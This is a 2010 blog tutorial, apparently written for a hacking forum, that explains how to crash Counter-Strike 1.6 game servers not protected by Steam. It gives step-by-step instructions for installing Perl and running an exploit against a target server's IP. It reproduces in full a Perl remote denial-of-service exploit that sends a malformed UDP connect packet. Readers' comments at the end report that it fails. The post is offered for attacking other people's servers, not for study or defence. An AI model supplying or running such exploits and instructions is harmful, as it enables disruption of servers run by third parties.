Tuesday, March 16, 2010

How to crash a CS 1.6 server tutorial

How to crash a CS 1.6 server
Alright so I decided to write this tut because I wanted to contribute a bit to the forums and there are many people asking how to do this. Actually, crashing a CS 1.6 server DOES NOT demand a botnet or many people attacking or logging in the server. So:
-Things to bear in mind:
1) The server you want to crash must NOT be running Steam. And this is
because all servers that run Steam have HLShield, HLGuard or other
types of shields that protect the servers from attacks of this type. So
before you continue, make sure the server does not run Steam or in
general is not Valve-secured. You can usually check this like this:
Can you see something in a green box? This means that the server is
most likely using the shield I described earlier. You can?t crash it the way
I am going to describe.
2) Sometimes if you are banned from the server or the server is password-
protected, you cant crash it.
-What you will need:
1) (Latest) version of Perl installed on your machine, I recommend
ActivePerl, but you can use Strawberry Perl too (that?s what I used  ).
2) The exploit you are going to use, located here:
http://www.milw0rm.com/exploits/1483
3) A clear mind.
4) Access to the sooo called ?cmd? or command prompt.
So lets begin.
1) Go to the link I provided earlier in this tut and copy the whole code into
notepad by pressing Ctrl-A, opening Notepad and pressing Ctrl-V to
paste it.
2) Save the file. File  Save As? Now be careful with the name of the file
and the extension. Name it whatever you like, but add ?.pl? as the
extension of the file. For example, if you are going to name it ?csdos?,
then in the name of the file you are going to type: ?csdos.pl?. Save it on
your desktop for now.
3) Move the file you just created to this path: ?C:\strawberry\perl\bin? if you
installed Strawberry Perl, or this: ?C:\perl\bin? if you chose Active Perl.
4) You?re almost done now. Go into a server and get its IP. You can do this
by right-clicking the server, ?View Server Info?. Now when you have its
IP, press the Windows Key to minimize CS and open cmd. Start  Run?
and type in: ?cmd?. A command prompt window pops up. Type in:
?cd c:\strawberry\perl\bin? (if you installed Strawberry Perl) or
?cd c:\perl\bin? (if you installed ActivePerl).
5) Now for the command syntax:
?perl [name of your file].pl [IP of the server]?
For example, if you named the file ?csdos? and the IP of the server is
215.75.156.83:27015, the command would be:
?perl csdos.pl 215.75.156.83:27015?.
6) Determine the result.
If you get something like this in the red box, then the server was crashed successfully. Congrats! If you get anything different than this, then you failed. xD
- End of my tutorial -
P.S. Don?t forget to comment and rate my tut, it took me much time to write, plus my Firefox crashed twice while i was writing it, so I wrote everything from scratch.
And feel free to ask questions.
UPDATE: This is the code you are going to use:
#!/usr/bin/perl
# Server must not be running steam. /str0ke
# Half-Life engine remote DoS exploit
# bug found by Firestorm
# tested against cstrike 1.6 Windows build-in server, cstrike 1.6 linux dedicated server
use IO::Socket;
die "usage: ./csdos " unless $ARGV[0];
$host=$ARGV[0];
if (fork())
{ econnect($host); }
else
{ econnect($host); };
exit;
sub econnect($)
{
my $host=$_[0];
my $sock = new
IO::Socket::INET(PeerAddr=>$host,PeerPort=>'27015' ,Proto=>'udp');
die "Could not create socket: $!\n" unless $sock;
$cmd="\xff\xff\xff\xff";
syswrite $sock, $cmd."getchallenge";
sysread $sock,$b,65535; print $b,"\n";
@c=split(/ /,$b);
$c2=$c[1];
$q=$cmd."connect 47 $c2 \"\\prot\\4\\unique\\0\\raw\\valve\\cdkey\\f0ef8a3 6258af1bb64ed866538c9db76\"\"\\\"\0\0";
print '>',$q,"\n";
syswrite $sock, $q;
sysread $sock,$b,65535; print $b,"\n";
sleep 3;
close $sock;
}
# milw0rm.com [2006-02-11]
The reason i posted it is because there seems to be some trouble and errors on executing it...

3 comments:

  1. Hey dude I just came across ur blog... its wonderful :)
    It was of great knowledge...
    Keep the good work going...
    I will also tell my frnds abt ur blog :)
    Cheers!!
    my mail id: rakesh.wNv@gmail.com

    ReplyDelete
  2. does not work tired everything ur codes suck to core..

    ReplyDelete
  3. didn't work
    may be bug is fixed have a look

    ReplyDelete